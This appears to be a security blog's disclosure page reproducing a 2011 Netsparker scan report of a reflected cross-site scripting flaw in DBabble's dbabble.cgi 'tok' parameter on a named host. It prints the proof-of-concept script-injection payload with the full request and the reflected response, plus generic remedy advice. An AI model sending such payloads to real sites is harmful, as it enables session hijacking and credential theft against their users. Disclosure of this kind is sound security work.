XSS, Cross Site Scripting in echo.cellmail.com, CWE-79, CAPEC-86, DORK, GHDB

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://echo.cellmail.com:8132/dbabble.cgi?cmd...
SCAN DATE
4/21/2011 11:40:20 PM
REPORT DATE
4/21/2011 11:41:37 PM
SCAN DURATION
00:00:34

Total Requests

535

Average Speed

15.48 req/sec.
1
identified
1
confirmed
0
critical
0
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
100 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/dbabble.cgi tok GET Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /dbabble.cgi

/dbabble.cgi CONFIRMED

http://echo.cellmail.com:8132/dbabble.cgi?cmd=group_items&gid=51&hid=539&tok='%22--%3E%3C/style%3E%3..

Parameters

Parameter Type Value
cmd GET group_items
gid GET 51
hid GET 539
tok GET '"--></style></script><script>alert(0x00015F)</script>

Request

GET /dbabble.cgi?cmd=group_items&gid=51&hid=539&tok='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00015F)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: echo.cellmail.com:8132
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.9g
Content-Length: 1585
Connection: close
MIME-version: 1.0
Date: Fri, 22 Apr 2011 04:40:46 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--// --></script><title>Web Chat Logged you out</title></head><body BACKGROUND="/img/whttxtr2.jpg" BGCOLOR="white" TEXT="black" onload="window.focus()"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/webchat?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/webchat?cmd_get_js2=dbabble.js"></script><b> Your login has expired.<br>This is probably because you have not connected to the server for too long, but may be because you have logged in and logged out from another location.<br>You must login again.</b><br><script language="JavaScript"><!--var olderror;function myonerror(msg, url, lno) { window.onerror=olderror; nwin=window.open("/webchat?cmd=relogin&tok='"--></style></script><script>netsparker(0x00015F)</script>","mainframe"); if (nwin) { nwin.focus(); } return true;}mwin=window.open("","mainframe");if (mwin) { olderror=window.onerror; window.onerror=myonerror; // Supress error message if vchat window is not showing main-menu mwin.Relogin(); window.onerror=olderror; }// --></script></body></html>